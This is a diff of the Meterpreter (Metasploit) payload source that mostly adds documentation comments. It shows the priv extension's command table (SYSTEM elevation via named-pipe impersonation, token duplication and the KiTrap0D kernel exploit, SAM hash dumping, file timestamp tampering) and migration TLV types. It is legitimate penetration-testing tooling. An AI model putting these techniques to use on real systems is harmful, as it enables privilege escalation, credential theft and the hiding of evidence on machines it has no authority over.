TLV_TYPE_CHANNEL_TYPE = TLV_VALUE(TLV_META_TYPE_STRING, 51), ///< Represents a channel type (string).
|
||||
TLV_TYPE_CHANNEL_DATA = TLV_VALUE(TLV_META_TYPE_RAW, 52), ///< Represents channel data (raw).
|
||||
TLV_TYPE_CHANNEL_DATA_GROUP = TLV_VALUE(TLV_META_TYPE_GROUP, 53), ///< Represents a channel data group (group).
|
||||
TLV_TYPE_CHANNEL_CLASS = TLV_VALUE(TLV_META_TYPE_UINT, 54), ///< Represents a channel class (unsigned integer).
|
||||
TLV_TYPE_CHANNEL_PARENTID = TLV_VALUE(TLV_META_TYPE_UINT, 55), ///< Represents a channel parent identifier (unsigned integer).
|
||||
|
||||
// Channel extended types
|
||||
MAKE_TLV(SEEK_WHENCE, TLV_META_TYPE_UINT, 70),
|
||||
MAKE_TLV(SEEK_OFFSET, TLV_META_TYPE_UINT, 71),
|
||||
MAKE_TLV(SEEK_POS, TLV_META_TYPE_UINT, 72),
|
||||
TLV_TYPE_SEEK_WHENCE = TLV_VALUE(TLV_META_TYPE_UINT, 70),
|
||||
TLV_TYPE_SEEK_OFFSET = TLV_VALUE(TLV_META_TYPE_UINT, 71),
|
||||
TLV_TYPE_SEEK_POS = TLV_VALUE(TLV_META_TYPE_UINT, 72),
|
||||
|
||||
// Grouped identifiers
|
||||
MAKE_TLV(EXCEPTION_CODE, TLV_META_TYPE_UINT, 300),
|
||||
MAKE_TLV(EXCEPTION_STRING, TLV_META_TYPE_STRING, 301),
|
||||
TLV_TYPE_EXCEPTION_CODE = TLV_VALUE(TLV_META_TYPE_UINT, 300),
|
||||
TLV_TYPE_EXCEPTION_STRING = TLV_VALUE(TLV_META_TYPE_STRING, 301),
|
||||
|
||||
// Library loading
|
||||
MAKE_TLV(LIBRARY_PATH, TLV_META_TYPE_STRING, 400),
|
||||
MAKE_TLV(TARGET_PATH, TLV_META_TYPE_STRING, 401),
|
||||
MAKE_TLV(MIGRATE_PID, TLV_META_TYPE_UINT, 402),
|
||||
MAKE_TLV(MIGRATE_LEN, TLV_META_TYPE_UINT, 403),
|
||||
MAKE_TLV(MIGRATE_PAYLOAD, TLV_META_TYPE_STRING, 404),
|
||||
MAKE_TLV(MIGRATE_ARCH, TLV_META_TYPE_UINT, 405),
|
||||
MAKE_TLV(MIGRATE_TECHNIQUE, TLV_META_TYPE_UINT, 406),
|
||||
TLV_TYPE_LIBRARY_PATH = TLV_VALUE(TLV_META_TYPE_STRING, 400), ///< Represents a path to the library to be loaded (string).
|
||||
TLV_TYPE_TARGET_PATH = TLV_VALUE(TLV_META_TYPE_STRING, 401), ///< Represents a target path (string).
|
||||
TLV_TYPE_MIGRATE_PID = TLV_VALUE(TLV_META_TYPE_UINT, 402), ///< Represents a process identifier of the migration target (unsigned integer).
|
||||
TLV_TYPE_MIGRATE_LEN = TLV_VALUE(TLV_META_TYPE_UINT, 403), ///< Represents a migration payload size/length in bytes (unsigned integer).
|
||||
TLV_TYPE_MIGRATE_PAYLOAD = TLV_VALUE(TLV_META_TYPE_STRING, 404), ///< Represents a migration payload (string).
|
||||
TLV_TYPE_MIGRATE_ARCH = TLV_VALUE(TLV_META_TYPE_UINT, 405), ///< Represents a migration target architecture.
|
||||
TLV_TYPE_MIGRATE_TECHNIQUE = TLV_VALUE(TLV_META_TYPE_UINT, 406), ///< Represents a migration technique (unsigned int).
|
||||
|
||||
// Cryptography
|
||||
MAKE_TLV(CIPHER_NAME, TLV_META_TYPE_STRING, 500),
|
||||
MAKE_TLV(CIPHER_PARAMETERS, TLV_META_TYPE_GROUP, 501),
|
||||
TLV_TYPE_CIPHER_NAME = TLV_VALUE(TLV_META_TYPE_STRING, 500),
|
||||
TLV_TYPE_CIPHER_PARAMETERS = TLV_VALUE(TLV_META_TYPE_GROUP, 501),
|
||||
|
||||
MAKE_TLV(EXTENSIONS, TLV_META_TYPE_COMPLEX, 20000),
|
||||
MAKE_TLV(USER, TLV_META_TYPE_COMPLEX, 40000),
|
||||
MAKE_TLV(TEMP, TLV_META_TYPE_COMPLEX, 60000),
|
||||
TLV_TYPE_EXTENSIONS = TLV_VALUE(TLV_META_TYPE_COMPLEX, 20000),
|
||||
TLV_TYPE_USER = TLV_VALUE(TLV_META_TYPE_COMPLEX, 40000),
|
||||
TLV_TYPE_TEMP = TLV_VALUE(TLV_META_TYPE_COMPLEX, 60000),
|
||||
} TlvType;
|
||||
|
||||
#ifdef _WIN32
|
||||
|
@ -198,6 +224,12 @@ LINKAGE DWORD packet_receive_via_http_wininet(Remote *remote, Packet **packet);
|
|||
LINKAGE DWORD packet_transmit_via_http_wininet(Remote *remote, Packet *packet, PacketRequestCompletion *completion);
|
||||
#endif
|
||||
|
||||
/*!
|
||||
* @brief Transmit a `TLV_TYPE_RESULT` response if `response` is present.
|
||||
* @param result The result to be sent.
|
||||
* @param remote Reference to the remote connection to send the response to.
|
||||
* @param response the Response to add the `result` to.
|
||||
*/
|
||||
#define packet_transmit_response(result, remote, response) \
|
||||
if (response) { \
|
||||
packet_add_tlv_uint(response, TLV_TYPE_RESULT, result); \
|
||||
|
|
|
@ -1,14 +1,13 @@
|
|||
#ifndef _METERPRETER_LIB_REMOTE_H
|
||||
#define _METERPRETER_LIB_REMOTE_H
|
||||
|
||||
|
||||
|
||||
#include "crypto.h"
|
||||
#include "thread.h"
|
||||
/*
|
||||
* Remote context allocation
|
||||
|
||||
/*!
|
||||
* @brief Remote context allocation.
|
||||
*
|
||||
* Wraps the initialized file descriptor for extension purposes
|
||||
* Wraps the initialized file descriptor for extension purposes.
|
||||
*/
|
||||
typedef struct _Remote
|
||||
{
|
||||
|
|
|
@ -0,0 +1,17 @@
|
|||
/*!
|
||||
* @mainpage Meterpreter Project Documentation
|
||||
*
|
||||
* This is the auto-generated documentation for the
|
||||
* [Meterpreter](https://github.com/rapid7/meterpreter) project; the
|
||||
* native payload for Windows and Linux in [Metasploit](https://github.com/rapid7/metasploit-framework)
|
||||
*
|
||||
* This documentation comes straight from the source and is created with doxygen.
|
||||
*
|
||||
* The source has only just started being annotated by the developers, hence the
|
||||
* documentation found here is scant. Over time, more and more work will be put
|
||||
* into filling the holes so that the source becomes more understandable and
|
||||
* easier to contribute to.
|
||||
*
|
||||
* For more information on Metasploit and Meterpreter, contact the fine folks
|
||||
* at [Rapid7](http://www.rapid7.com/).
|
||||
*/// Stub that contains the main page documentation for the project.
|
|
@ -1,14 +1,22 @@
|
|||
/*!
|
||||
* @file elevate.c
|
||||
* @brief Definitions for SYSTEM privilege escalation.
|
||||
*/
|
||||
#include "precomp.h"
|
||||
#include "namedpipe.h"
|
||||
#include "tokendup.h"
|
||||
#include "kitrap0d.h"
|
||||
|
||||
/*
|
||||
* Get the native architecture of the system we are running on. (ripped from the stdapi's ps.c)
|
||||
/*!
|
||||
* @brief Get the native architecture of the system we are running on. (ripped from the stdapi's ps.c)
|
||||
* @return A flag indicating the architecture of the system.
|
||||
* @retval PROCESS_ARCH_X64 The architecture is AMD64.
|
||||
* @retval PROCESS_ARCH_IA64 The architecture is IA64.
|
||||
* @retval PROCESS_ARCH_X86 The architecture is X86.
|
||||
*/
|
||||
DWORD elevate_getnativearch( VOID )
|
||||
{
|
||||
HANDLE hKernel = NULL;
|
||||
HMODULE hKernel = NULL;
|
||||
GETNATIVESYSTEMINFO pGetNativeSystemInfo = NULL;
|
||||
DWORD dwNativeArch = PROCESS_ARCH_UNKNOWN;
|
||||
SYSTEM_INFO SystemInfo = {0};
|
||||
|
@ -51,8 +59,13 @@ DWORD elevate_getnativearch( VOID )
|
|||
return dwNativeArch;
|
||||
}
|
||||
|
||||
/*
|
||||
* Attempt to elevate the current meterpreter to local system using a variety of techniques.
|
||||
/*!
|
||||
* @brief Attempt to elevate the current meterpreter to local system using a variety of techniques.
|
||||
* @details This function attempts to get system level privileges using a number of techniques.
|
||||
* If the caller hasn't specified a particular technique, then all of the known techniques are
|
||||
* attempted in order until one succeeds.
|
||||
* @return Indication of success or failure.
|
||||
* @retval ERROR_SUCCESS Elevation to `SYSTEM` was successful.
|
||||
*/
|
||||
DWORD elevate_getsystem( Remote * remote, Packet * packet )
|
||||
{
|
||||
|
@ -67,71 +80,44 @@ DWORD elevate_getsystem( Remote * remote, Packet * packet )
|
|||
BREAK_WITH_ERROR( "[ELEVATE] get_system. packet_create_response failed", ERROR_INVALID_HANDLE );
|
||||
|
||||
dwTechnique = packet_get_tlv_value_uint( packet, TLV_TYPE_ELEVATE_TECHNIQUE );
|
||||
dprintf( "[ELEVATE] Technique requested (%u)", dwTechnique );
|
||||
|
||||
// if we are to to use ELEVATE_TECHNIQUE_ANY, we try everything at our disposal...
|
||||
if( dwTechnique == ELEVATE_TECHNIQUE_ANY )
|
||||
{
|
||||
do
|
||||
{
|
||||
// firstly, try to use the in-memory named pipe impersonation technique (Requires Local Admin rights)
|
||||
if( dwTechnique == ELEVATE_TECHNIQUE_ANY || dwTechnique == ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE ) {
|
||||
dprintf( "[ELEVATE] Attempting ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE (%u)", ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE );
|
||||
if ( (dwResult = elevate_via_service_namedpipe( remote, packet )) == ERROR_SUCCESS ) {
|
||||
dwTechnique = ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE;
|
||||
dwResult = elevate_via_service_namedpipe( remote, packet );
|
||||
if( dwResult == ERROR_SUCCESS )
|
||||
break;
|
||||
|
||||
// secondly, try to use the in-memory KiTrap0D exploit (CVE-2010-0232) (Requires Local User rights and vulnerable system)
|
||||
// Note: If successfully, we end up replacing our processes primary token and as such cant rev3self at a later stage.
|
||||
dwTechnique = ELEVATE_TECHNIQUE_EXPLOIT_KITRAP0D;
|
||||
dwResult = elevate_via_exploit_kitrap0d( remote, packet );
|
||||
if( dwResult == ERROR_SUCCESS )
|
||||
break;
|
||||
|
||||
// thirdly, try to use the in-memory service token duplication technique (Requires Local Admin rights and SeDebugPrivilege)
|
||||
dwTechnique = ELEVATE_TECHNIQUE_SERVICE_TOKENDUP;
|
||||
dwResult = elevate_via_service_tokendup( remote, packet );
|
||||
if( dwResult == ERROR_SUCCESS )
|
||||
break;
|
||||
|
||||
// fourthly, try to use the touching disk named pipe impersonation technique (Requires Local Admin rights)
|
||||
dwTechnique = ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE2;
|
||||
dwResult = elevate_via_service_namedpipe2( remote, packet );
|
||||
if( dwResult == ERROR_SUCCESS )
|
||||
break;
|
||||
|
||||
} while( 0 );
|
||||
}
|
||||
else
|
||||
{
|
||||
// if we are to only use a specific technique, try the specified one and return the success...
|
||||
switch( dwTechnique )
|
||||
{
|
||||
case ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE:
|
||||
dwResult = elevate_via_service_namedpipe( remote, packet );
|
||||
break;
|
||||
case ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE2:
|
||||
dwResult = elevate_via_service_namedpipe2( remote, packet );
|
||||
break;
|
||||
case ELEVATE_TECHNIQUE_SERVICE_TOKENDUP:
|
||||
dwResult = elevate_via_service_tokendup( remote, packet );
|
||||
break;
|
||||
case ELEVATE_TECHNIQUE_EXPLOIT_KITRAP0D:
|
||||
dwResult = elevate_via_exploit_kitrap0d( remote, packet );
|
||||
break;
|
||||
default:
|
||||
dwResult = ERROR_CALL_NOT_IMPLEMENTED;
|
||||
break;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if( dwTechnique == ELEVATE_TECHNIQUE_ANY || dwTechnique == ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE2 ) {
|
||||
dprintf( "[ELEVATE] Attempting ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE2 (%u)", ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE2 );
|
||||
if ( (dwResult = elevate_via_service_namedpipe2( remote, packet )) == ERROR_SUCCESS ) {
|
||||
dwTechnique = ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE2;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if( dwTechnique == ELEVATE_TECHNIQUE_ANY || dwTechnique == ELEVATE_TECHNIQUE_SERVICE_TOKENDUP ) {
|
||||
dprintf( "[ELEVATE] Attempting ELEVATE_TECHNIQUE_SERVICE_TOKENDUP (%u)", ELEVATE_TECHNIQUE_SERVICE_TOKENDUP );
|
||||
if ( (dwResult = elevate_via_service_tokendup( remote, packet )) == ERROR_SUCCESS ) {
|
||||
dwTechnique = ELEVATE_TECHNIQUE_SERVICE_TOKENDUP;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if( dwTechnique == ELEVATE_TECHNIQUE_ANY || dwTechnique == ELEVATE_TECHNIQUE_EXPLOIT_KITRAP0D ) {
|
||||
dprintf( "[ELEVATE] Attempting ELEVATE_TECHNIQUE_EXPLOIT_KITRAP0D (%u)", ELEVATE_TECHNIQUE_EXPLOIT_KITRAP0D );
|
||||
if ( (dwResult = elevate_via_exploit_kitrap0d( remote, packet )) == ERROR_SUCCESS ) {
|
||||
dwTechnique = ELEVATE_TECHNIQUE_EXPLOIT_KITRAP0D;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
} while( 0 );
|
||||
|
||||
if( response )
|
||||
{
|
||||
if( dwResult == ERROR_SUCCESS )
|
||||
packet_add_tlv_uint( response, TLV_TYPE_ELEVATE_TECHNIQUE, dwTechnique );
|
||||
else
|
||||
packet_add_tlv_uint( response, TLV_TYPE_ELEVATE_TECHNIQUE, ELEVATE_TECHNIQUE_NONE );
|
||||
|
||||
packet_add_tlv_uint( response, TLV_TYPE_ELEVATE_TECHNIQUE, dwResult == ERROR_SUCCESS ? dwTechnique : ELEVATE_TECHNIQUE_NONE );
|
||||
packet_transmit_response( dwResult, remote, response );
|
||||
}
|
||||
|
||||
|
|
|
@ -1,20 +1,23 @@
|
|||
/*!
|
||||
* @file elevate.h
|
||||
* @brief Declarations for SYSTEM privilege escalation.
|
||||
*/
|
||||
#ifndef _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_ELEVATE_ELEVATE_H
|
||||
#define _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_ELEVATE_ELEVATE_H
|
||||
|
||||
#define ELEVATE_TECHNIQUE_NONE -1
|
||||
#define ELEVATE_TECHNIQUE_ANY 0
|
||||
#define ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE 1
|
||||
#define ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE2 2
|
||||
#define ELEVATE_TECHNIQUE_SERVICE_TOKENDUP 3
|
||||
#define ELEVATE_TECHNIQUE_EXPLOIT_KITRAP0D 4
|
||||
#define ELEVATE_TECHNIQUE_NONE -1 ///< Identifier that indicates no technique was successful
|
||||
#define ELEVATE_TECHNIQUE_ANY 0 ///< Identifier that indicates that all techniques should be attempted.
|
||||
#define ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE 1 ///< Identifier for the Named Pipe service tecnique (#1)
|
||||
#define ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE2 2 ///< Identifier for the Named Pipe service tecnique (#2)
|
||||
#define ELEVATE_TECHNIQUE_SERVICE_TOKENDUP 3 ///< Identifier for the Token Duplication service technique.
|
||||
#define ELEVATE_TECHNIQUE_EXPLOIT_KITRAP0D 4 ///< Identifier for the Kitrap0d exploit technique.
|
||||
|
||||
// from ps.h
|
||||
typedef void (WINAPI * GETNATIVESYSTEMINFO)( LPSYSTEM_INFO lpSystemInfo );
|
||||
typedef void (WINAPI * GETNATIVESYSTEMINFO)( LPSYSTEM_INFO lpSystemInfo ); ///< Stolen from ps.h
|
||||
|
||||
#define PROCESS_ARCH_UNKNOWN 0
|
||||
#define PROCESS_ARCH_X86 1
|
||||
#define PROCESS_ARCH_X64 2
|
||||
#define PROCESS_ARCH_IA64 3
|
||||
#define PROCESS_ARCH_UNKNOWN 0 ///< Indicates that the architecture is not known.
|
||||
#define PROCESS_ARCH_X86 1 ///< Indicates that the architecture is X86.
|
||||
#define PROCESS_ARCH_X64 2 ///< Indicates that the architecture is AMDX64.
|
||||
#define PROCESS_ARCH_IA64 3 ///< Indicates that the architecture is IA64.
|
||||
|
||||
DWORD elevate_getnativearch( VOID );
|
||||
|
||||
|
|
|
@ -1,34 +1,34 @@
|
|||
#ifndef _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_ELEVATE_TECHNIQUES_KITRAP0D_H
|
||||
#define _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_ELEVATE_TECHNIQUES_KITRAP0D_H
|
||||
|
||||
#define PAGE_SIZE 0x1000
|
||||
|
||||
enum { SystemModuleInformation = 11 };
|
||||
|
||||
typedef struct
|
||||
{
|
||||
ULONG Unknown1;
|
||||
ULONG Unknown2;
|
||||
PVOID Base;
|
||||
ULONG Size;
|
||||
ULONG Flags;
|
||||
USHORT Index;
|
||||
USHORT NameLength;
|
||||
USHORT LoadCount;
|
||||
USHORT PathLength;
|
||||
CHAR ImageName[256];
|
||||
} SYSTEM_MODULE_INFORMATION_ENTRY, * PSYSTEM_MODULE_INFORMATION_ENTRY;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
ULONG Count;
|
||||
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
|
||||
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
|
||||
#define PAGE_SIZE 0x1000
|
||||
|
||||
typedef struct CodeSignature
|
||||
{
|
||||
UCHAR Signature[16];
|
||||
DWORD Version;
|
||||
enum { SystemModuleInformation = 11 };
|
||||
|
||||
typedef struct
|
||||
{
|
||||
ULONG Unknown1;
|
||||
ULONG Unknown2;
|
||||
PVOID Base;
|
||||
ULONG Size;
|
||||
ULONG Flags;
|
||||
USHORT Index;
|
||||
USHORT NameLength;
|
||||
USHORT LoadCount;
|
||||
USHORT PathLength;
|
||||
CHAR ImageName[256];
|
||||
} SYSTEM_MODULE_INFORMATION_ENTRY, * PSYSTEM_MODULE_INFORMATION_ENTRY;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
ULONG Count;
|
||||
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
|
||||
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
|
||||
|
||||
typedef struct CodeSignature
|
||||
{
|
||||
UCHAR Signature[16];
|
||||
DWORD Version;
|
||||
};
|
||||
|
||||
DWORD elevate_via_exploit_kitrap0d( Remote * remote, Packet * packet );
|
||||
|
|
|
@ -1,5 +1,5 @@
|
|||
/*
|
||||
* This module implements privilege escalation features.
|
||||
/*!
|
||||
* @brief This module implements privilege escalation features.
|
||||
*/
|
||||
#include "precomp.h"
|
||||
|
||||
|
@ -8,86 +8,42 @@
|
|||
// second stage reflective dll inject payload and not the metsrv itself when it loads extensions.
|
||||
#include "../../../ReflectiveDLLInjection/ReflectiveLoader.c"
|
||||
|
||||
// NOTE: _CRT_SECURE_NO_WARNINGS has been added to Configuration->C/C++->Preprocessor->Preprocessor
|
||||
|
||||
// this sets the delay load hook function, see DelayLoadMetSrv.h
|
||||
EnableDelayLoadMetSrv();
|
||||
|
||||
/*!
|
||||
* @brief `priv` extension dispatch table.
|
||||
*/
|
||||
Command customCommands[] =
|
||||
{
|
||||
|
||||
// Elevate
|
||||
{ "priv_elevate_getsystem",
|
||||
{ elevate_getsystem, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
|
||||
// Priv
|
||||
{ "priv_passwd_get_sam_hashes",
|
||||
{ request_passwd_get_sam_hashes, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
|
||||
// Fs
|
||||
{ "priv_fs_get_file_mace",
|
||||
{ request_fs_get_file_mace, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "priv_fs_set_file_mace",
|
||||
{ request_fs_set_file_mace, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "priv_fs_set_file_mace_from_file",
|
||||
{ request_fs_set_file_mace_from_file, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "priv_fs_blank_file_mace",
|
||||
{ request_fs_blank_file_mace, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "priv_fs_blank_directory_mace",
|
||||
{ request_fs_blank_directory_mace, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
|
||||
// Terminator
|
||||
{ NULL,
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
COMMAND_REQ( "priv_elevate_getsystem", elevate_getsystem ),
|
||||
COMMAND_REQ( "priv_passwd_get_sam_hashes", request_passwd_get_sam_hashes ),
|
||||
COMMAND_REQ( "priv_fs_get_file_mace", request_fs_get_file_mace ),
|
||||
COMMAND_REQ( "priv_fs_set_file_mace", request_fs_set_file_mace ),
|
||||
COMMAND_REQ( "priv_fs_set_file_mace_from_file", request_fs_set_file_mace_from_file ),
|
||||
COMMAND_REQ( "priv_fs_blank_file_mace", request_fs_blank_file_mace ),
|
||||
COMMAND_REQ( "priv_fs_blank_directory_mace", request_fs_blank_directory_mace ),
|
||||
COMMAND_TERMINATOR
|
||||
};
|
||||
|
||||
/*
|
||||
* Initialize the server extension
|
||||
*/
|
||||
/*!
|
||||
* @brief Initialize the `priv` server extension.
|
||||
*/
|
||||
DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
|
||||
{
|
||||
DWORD index;
|
||||
|
||||
hMetSrv = remote->hMetSrv;
|
||||
|
||||
for (index = 0; customCommands[index].method; index++)
|
||||
{
|
||||
dprintf("Registering command index %d", index);
|
||||
dprintf(" Command: %s", customCommands[index].method);
|
||||
dprintf(" Register: 0x%.8x", command_register);
|
||||
command_register(&customCommands[index]);
|
||||
}
|
||||
command_register_all(customCommands);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
/*
|
||||
* Deinitialize the server extension
|
||||
*/
|
||||
/*!
|
||||
* @brief Deinitialize the `priv` server extension.
|
||||
*/
|
||||
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
|
||||
{
|
||||
DWORD index;
|
||||
|
||||
for (index = 0;
|
||||
customCommands[index].method;
|
||||
index++)
|
||||
command_deregister(&customCommands[index]);
|
||||
command_deregister_all(customCommands);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Loading…
Reference in New Issue